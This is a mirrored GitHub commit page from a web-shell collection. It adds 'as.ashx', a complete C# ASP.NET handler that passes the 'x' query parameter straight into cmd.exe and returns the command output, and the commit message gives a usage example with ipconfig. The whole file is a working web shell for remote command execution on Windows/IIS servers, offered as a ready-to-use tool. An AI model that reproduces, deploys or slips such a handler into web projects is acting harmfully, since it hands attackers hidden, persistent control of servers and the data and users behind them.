mirror of
https://github.com/tennc/webshell
synced 2024-11-21 18:53:03 +00:00
Create as.ashx
example as.ashx?x=ipconfig from : zone.wooyun.org
This commit is contained in:
parent
24dbe2c788
commit
b5a24c76b0
1 changed files with 26 additions and 0 deletions
26
aspx/as.ashx
Normal file
26
aspx/as.ashx
Normal file
|
@ -0,0 +1,26 @@
|
|||
<%@ WebHandler Language="C#" Class="Handler2" %>
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Web;
|
||||
public class Handler2 : IHttpHandler {
|
||||
public void ProcessRequest (HttpContext context) {
|
||||
//string x = "-an";
|
||||
string x = context.Request["x"];
|
||||
Process prc=new Process();
|
||||
prc.StartInfo.FileName="cmd.exe";
|
||||
prc.StartInfo.UseShellExecute=false;
|
||||
prc.StartInfo.RedirectStandardInput = true;
|
||||
prc.StartInfo.RedirectStandardOutput = true;
|
||||
prc.StartInfo.RedirectStandardError = true;
|
||||
prc.StartInfo.CreateNoWindow = false;
|
||||
prc.Start();
|
||||
prc.StandardInput.WriteLine(x);
|
||||
prc.StandardInput.Close();
|
||||
context.Response.Write(prc.StandardOutput.ReadToEnd());
|
||||
context.Response.End();}
|
||||
public bool IsReusable {
|
||||
get {
|
||||
return false;
|
||||
}
|
||||
}}
|
Loading…
Reference in a new issue